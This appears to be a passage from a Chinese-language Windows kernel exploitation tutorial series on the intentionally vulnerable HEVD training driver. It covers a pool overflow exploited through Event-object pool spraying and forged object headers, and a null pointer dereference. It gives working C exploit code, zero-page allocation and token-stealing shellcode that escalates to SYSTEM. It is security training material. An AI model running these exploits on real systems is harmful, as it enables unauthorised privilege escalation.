[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8674B610
[+] UserBuffer: 0x001BFB58
[+] UserBuffer Size: 0x8
[+] KernelBuffer: 0x8674B610
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8674B610
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******

我们现在需要了解内核池分配的情况,所以我们需要在拷贝函数执行之前下断点观察,我们把 buf 设为 0x1F8 大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1: kd> u 8D6A320B // 反编译查看断点位置是否下对
HEVD!TriggerPoolOverflow+0xe1 [c:\hacksysextremevulnerabledriver\driver\pooloverflow.c @ 113]:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
8d6a3210 686c436a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a436c)
8d6a3215 e8eccdffff call HEVD!DbgPrint (8d6a0006)
8d6a321a 6834446a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a4434)
8d6a321f 53 push ebx
8d6a3220 e8e1cdffff call HEVD!DbgPrint (8d6a0006)
8d6a3225 ff75e4 push dword ptr [ebp-1Ch]
8d6a3228 57 push edi
1: kd> ba e1 8D6A320B // 下硬件执行断点
1: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x88CAAA90
[+] UserBuffer: 0x001FF82C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x88CAAA90
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)

我们可以用!pool address命令查看address周围地址处的池信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> !pool 0x88CAAA90
Pool page 88caaa90 region is Nonpaged pool
88caa000 size: 118 previous size: 0 (Allocated) AfdE (Protected)
88caa118 size: 8 previous size: 118 (Free) Ipng
88caa120 size: 68 previous size: 8 (Allocated) EtwR (Protected)
88caa188 size: 2e8 previous size: 68 (Free) Thre
88caa470 size: 118 previous size: 2e8 (Allocated) AfdE (Protected)
88caa588 size: 190 previous size: 118 (Free) AleD
88caa718 size: 68 previous size: 190 (Allocated) EtwR (Protected)
88caa780 size: 48 previous size: 68 (Allocated) Vad
88caa7c8 size: 30 previous size: 48 (Allocated) NpFn Process: 88487d40
88caa7f8 size: f8 previous size: 30 (Allocated) MmCi
88caa8f0 size: 48 previous size: f8 (Allocated) Vad
88caa938 size: 138 previous size: 48 (Allocated) ALPC (Protected)
88caaa70 size: 18 previous size: 138 (Allocated) CcWk
*88caaa88 size: 200 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
88caac88 size: 20 previous size: 200 (Allocated) ReTa
88caaca8 size: 190 previous size: 20 (Free) AleD
88caae38 size: 1c8 previous size: 190 (Allocated) AleE

我们查看我们申请到池的末尾,0x41414141之后就是下一个池的池首,我们待会主要的目的就是修改下一个池首的内容,从而运行我们shellcode

1
2
3
4
5
6
7
8
9
kd> dd 88caac88-8
88caac80 41414141 41414141 04040040 61546552
88caac90 00000000 00000003 00000000 00000000
88caaca0 00000000 00000000 00320004 44656c41
88caacb0 884520c8 88980528 00000011 00000000
88caacc0 01100802 00000080 760e0002 000029c7
88caacd0 873e2ae0 873e2ae0 e702b9dd 00000000
88caace0 00000164 00000000 00000000 00000001
88caacf0 00000000 00000100 88caacb0 8969ae1b

Event Object

从上面的池分布信息可以看到周围的池分布是很杂乱无章的,我们希望是能够控制我们内核池的分布,从源码中我们已经知道,我们的漏洞点是产生在非分页池中的,所以我们需要一个函数像malloc一样申请在我们的内核非分页池中,我们这里使用的是CreateEventA,函数原型如下

1
2
3
4
5
6
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);

该函数会生成一个Event事件对象,它的大小为 0x40 ,因为在刚才的调试中我们知道我们的池大小为 0x1f8 + 8 = 0x200,所以多次申请就刚好可以填满我们的池,如果把池铺满成我们的Event对象,我们再用CloseHandle函数释放一些对象,我们就可以在Event中间留出一些我们可以操控的空间,我们构造如下代码测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

HANDLE spray_event[0x1000];

VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}

int main()
{
DWORD bReturn = 0;
char buf[504] = { 0 };

RtlFillMemory(buf, 504, 0x41);

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

pool_spray();
DeviceIoControl(hDevice, 0x22200f, buf, 504, NULL, 0, &bReturn, NULL);

//__debugbreak();
return 0;
}

可以发现,我们已经把内核池铺成了我们希望的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x86713A08
[+] UserBuffer: 0x0032FB1C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x86713A08
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)
kd> !pool 0x86713A08
Pool page 86713a08 region is Nonpaged pool
86713000 size: 40 previous size: 0 (Allocated) Even (Protected)
86713040 size: 10 previous size: 40 (Free) ....
86713050 size: 48 previous size: 10 (Allocated) Vad
86713098 size: 48 previous size: 48 (Allocated) Vad
867130e0 size: 40 previous size: 48 (Allocated) Even (Protected)
86713120 size: 28 previous size: 40 (Allocated) WfpF
86713148 size: 28 previous size: 28 (Allocated) WfpF
86713170 size: 890 previous size: 28 (Free) NSIk
*86713a00 size: 200 previous size: 890 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
86713c00 size: 40 previous size: 200 (Allocated) Even (Protected)
86713c40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713c80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713cc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713fc0 size: 40 previous size: 40 (Allocated) Even (Protected)

接下来我们加上CloseHandle函数就可以制造一些空洞了

1
2
3
4
5
6
7
8
9
10
11
12
13
VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

for (int i = 0; i < 0x1000; i++)
{
// 0x40 * 8 = 0x200
for (int j = 0; j < 8; j++)
CloseHandle(spray_event[i + j]);
i += 8;
}
}

重新运行结果如下,我们已经制造了许多空洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8675AB88
[+] UserBuffer: 0x0017F808
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8675AB88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
1: kd> !pool 0x8675AB88
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 8675ab88 region is Nonpaged pool
8675a000 size: 40 previous size: 0 (Free) Even
8675a040 size: 40 previous size: 40 (Free ) Even (Protected)
8675a080 size: 40 previous size: 40 (Free ) Even (Protected)
8675a0c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a100 size: 40 previous size: 40 (Free ) Even (Protected)
8675a140 size: 40 previous size: 40 (Free ) Even (Protected)
8675a180 size: 40 previous size: 40 (Free ) Even (Protected)
8675a1c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a200 size: 40 previous size: 40 (Free ) Even (Protected)
8675a240 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a280 size: 40 previous size: 40 (Free ) Even (Protected)
8675a2c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a300 size: 40 previous size: 40 (Free ) Even (Protected)
8675a340 size: 40 previous size: 40 (Free ) Even (Protected)
8675a380 size: 40 previous size: 40 (Free ) Even (Protected)
8675a3c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a400 size: 40 previous size: 40 (Free ) Even (Protected)
8675a440 size: 40 previous size: 40 (Free) Even
8675a480 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a4c0 size: 200 previous size: 40 (Free) Even
8675a6c0 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a700 size: 200 previous size: 40 (Free) Even
8675a900 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a940 size: 200 previous size: 40 (Free) Even
8675ab40 size: 40 previous size: 200 (Allocated) Even (Protected)
*8675ab80 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8675ad80 size: 40 previous size: 200 (Allocated) Even (Protected)
8675adc0 size: 200 previous size: 40 (Free) Even
8675afc0 size: 40 previous size: 200 (Allocated) Even (Protected)

池头伪造

首先我们复习一下x86 Kernel Pool的池头结构_POOL_HEADER_POOL_HEADER是用来管理pool thunk的,里面存放一些释放和分配所需要的信息

1
2
3
4
5
6
7
8
9
0: kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
  • PreviousSize: 前一个chunk的BlockSize。
  • PoolIndex : 所在大pool的pool descriptor的index。这是用来检查释放pool的算法是否释放正确了。
  • PoolType: Free=0,Allocated=(PoolType|2)
  • PoolTag: 4个可打印字符,标明由哪段代码负责。(4 printable characters identifying the code responsible for the allocation)

我们在调试中查看下一个池的一些结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
...
[+] Pool Chunk: 0x867C8CC8
...
2: kd> !pool 0x867C8CC8
...
*867c8cc0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
867c8ec0 size: 40 previous size: 200 (Allocated) Even (Protected)
...
2: kd> dd 867c8ec0
867c8ec0 04080040 ee657645 00000000 00000040
867c8ed0 00000000 00000000 00000001 00000001
867c8ee0 00000000 0008000c 88801040 00000000
867c8ef0 11040001 00000000 867c8ef8 867c8ef8
867c8f00 00200008 ee657645 867bc008 867c8008
867c8f10 00000000 00000000 00000000 00000000
867c8f20 00000000 00080001 00000000 00000000
867c8f30 74040001 00000000 867c8f38 867c8f38
2: kd> dt nt!_POOL_HEADER 867c8ec0
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
2: kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 867c8ec0+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
2: kd> dt nt!_OBJECT_HEADER 867c8ec0+18
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x88801040 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x88801040 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD

你可能会疑惑_OBJECT_HEADER_OBJECT_HEADER_QUOTA_INFO是怎么分析出来的,这里你需要了解 Windows 7 的对象结构不然可能听不懂图片下面的那几行字,最好是在NT4源码(private\ntos\inc\ob.h)中搜索查看这些结构,这里我放一张图片吧

1

这里我简单说一下如何识别这两个结构的,根据下一块池的大小是 0x40 ,在_OBJECT_HEADER_QUOTA_INFO结构中NonPagedPoolCharge的偏移为0x004刚好为池的大小,所以这里确定为_OBJECT_HEADER_QUOTA_INFO结构,又根据InfoMask字段在_OBJECT_HEADER中的偏移,结合我们确定的_OBJECT_HEADER_QUOTA_INFO结构掩码为0x8可以确定这里就是我们的InfoMask,这样推出_OBJECT_HEADER的位置在+0x18处,其实我们需要修改的也就是_OBJECT_HEADER中的TypeIndex字段,这里是0xc,我们需要将它修改为0,我们看一下_OBJECT_HEADER的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
3: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD

Windows 7 之后 _OBJECT_HEADER 及其之前的一些结构发生了变化,Windows 7之前0×008处的指向_OBJECT_TYPE的指针已经没有了, 取而代之的是在 0x00c 处的类型索引值。但Windows7中添加了一个函数ObGetObjectType,返回Object_type对象指针,也就是说根据索引值在ObTypeIndexTable数组中找到对应的ObjectType

1
2
3
4
5
6
7
8
9
10
3: kd> u ObGetObjectType
nt!ObGetObjectType:
8405a7bd 8bff mov edi,edi
8405a7bf 55 push ebp
8405a7c0 8bec mov ebp,esp
8405a7c2 8b4508 mov eax,dword ptr [ebp+8]
8405a7c5 0fb640f4 movzx eax,byte ptr [eax-0Ch]
8405a7c9 8b04850059f483 mov eax,dword ptr nt!ObTypeIndexTable (83f45900)[eax*4]
8405a7d0 5d pop ebp
8405a7d1 c20400 ret 4

我们查看一下ObTypeIndexTable数组,根据TypeIndex的大小我们可以确定偏移 0xc 处的 0x865f0598 即是我们 Event 对象的OBJECT_TYPE,我们这里主要关注的是TypeInfo中的CloseProcedure字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1: kd> dd nt!ObTypeIndexTable
83f45900 00000000 bad0b0b0 86544768 865446a0
83f45910 865445d8 865cd040 865cdf00 865cde38
83f45920 865cdd70 865cdca8 865cdbe0 865cd528
83f45930 865f0598 865f2418 865f2350 865f44c8
83f45940 865f4400 865f4338 865f0040 865f0230
83f45950 865f0168 865f19b8 865f18f0 865f1828
83f45960 865f1760 865f1698 865f15d0 865f1508
83f45970 865f1440 865ef6f0 865ef628 865ef560
1: kd> dt nt!_OBJECT_TYPE 865f0598
+0x000 TypeList : _LIST_ENTRY [ 0x865f0598 - 0x865f0598 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x1050
+0x01c TotalNumberOfHandles : 0x10ac
+0x020 HighWaterNumberOfObjects : 0x1e8a
+0x024 HighWaterNumberOfHandles : 0x1ee6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x865f0618 - 0x865f0618 ]
1: kd> dx -id 0,0,ffffffff889681e0 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x840675b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]

我们的最后目的是把CloseProcedure字段覆盖为指向shellcode的指针,因为在最后会调用这些函数,把这里覆盖自然也就可以执行我们的shellcode,我们希望这里能够将Event这个结构放在我们能够操控的位置,在 Windows 7 中我们知道是可以在用户模式下控制0页内存的,所以我们希望这里能够指到0页内存,所以我们想把TypeIndex从0xc修改为0x0,在 Windows 7 下ObTypeIndexTable的前八个字节始终为0,所以可以在这里进行构造,需要注意的是,这里我们需要申请0页内存,我们传入的第二个参数不能是0,如果是0系统就会随机给我们分配一块内存,我们希望的是分配0页,如果传入1的话由于内存对齐就可以申请到0页内存,然后就可以放入我们shellcode的位置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PVOIDZero_addr = (PVOID)1;
SIZE_TRegionSize = 0x1000;

*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}

printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}

printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)& ShellCode;

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 构造池头结构
  • 申请0页内存并放入shellcode位置
  • 堆喷射构造间隙
  • 调用TriggerPoolOverflow函数
  • 关闭句柄
  • 调用cmd提权

最后提权效果如下,详细代码参考这里

test

0x07:NullPointer-Dereference

这是 Windows kernel exploit 系列的第五部分,前一篇我们讲了池溢出漏洞,这一篇我们讲空指针解引用,这篇和上篇比起来就很简单了,话不多说,进入正题,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

空指针解引用

我们还是先用IDA分析HEVD.sys,大概看一下函数的流程,函数首先验证了我们传入UserBuffer是否在用户模式下,然后申请了一块池,打印了池的一些属性之后判断UserValue是否等于一个数值,相等则打印一些NullPointerDereference的属性,不相等则将它释放并且置为NULL,但是下面没有做任何检验就直接引用了NullPointerDereference->Callback();这显然是不行,的当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __stdcall TriggerNullPointerDereference(void *UserBuffer)
{
PNULL_POINTER_DEREFERENCE NullPointerDereference; // esi
int result; // eax
unsigned int UserValue; // [esp+3Ch] [ebp+8h]

ProbeForRead(UserBuffer, 8u, 4u);
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(0, 8u, 0x6B636148u);
if ( NullPointerDereference )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "NonPagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 8);
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
if ( UserValue == 0xBAD0B0B0 )
{
NullPointerDereference->Value = 0xBAD0B0B0;
NullPointerDereference->Callback = (void (__stdcall *)())NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else
{
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
ExFreePoolWithTag(NullPointerDereference, 0x6B636148u);
NullPointerDereference = 0;
}
DbgPrint("[+] Triggering Null Pointer Dereference\n");
NullPointerDereference->Callback();
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}

我们从源码NullPointerDereference.c查看一下防护措施,安全的操作对NullPointerDereference是否为NULL进行了检验,其实我们可以联想到上一篇的内容,既然是要引用0页内存,那都不用我们自己写触发了,直接构造好0页内存调用这个问题函数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#ifdef SECURE
//
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
//

if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

//
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
//

NullPointerDereference->Callback();

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80A << 2) | 0x00000003)
'0x22202b'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();
//__debugbreak();

system("pause");
return 0;
}

如我们所愿,这里因为 UserValue = 0xBAD0B0B0 所以打印了NullPointerDereference的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x8
[+] Pool Chunk: 0x877B5E68
[+] UserValue: 0xBAD0B0B0
[+] NullPointerDereference: 0x877B5E68
[+] NullPointerDereference->Value: 0xBAD0B0B0
[+] NullPointerDereference->Callback: 0x8D6A3BCE
[+] Triggering Null Pointer Dereference
[+] Null Pointer Dereference Object Callback
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******

零页的构造

我们还是用前面的方法申请到零页内存,只是我们这里需要修改shellcode指针放置的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}

printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x4) = (DWORD)& ShellCode;

shellcode还是注意需要堆栈的平衡,不然可能就会蓝屏,有趣的是,我在不同的地方测试的效果不一样,也就是说在运行exp之前虚拟机的状态不一样的话,可能效果会不一样(这一点我深有体会)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h]// Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4// edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8]// Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 申请0页内存并放入shellcode位置
  • 调用TriggerNullPointerDereference函数
  • 调用cmd提权

提权效果如下,详细的代码参考这里

test

0x08:Uninitialized-StackVariable

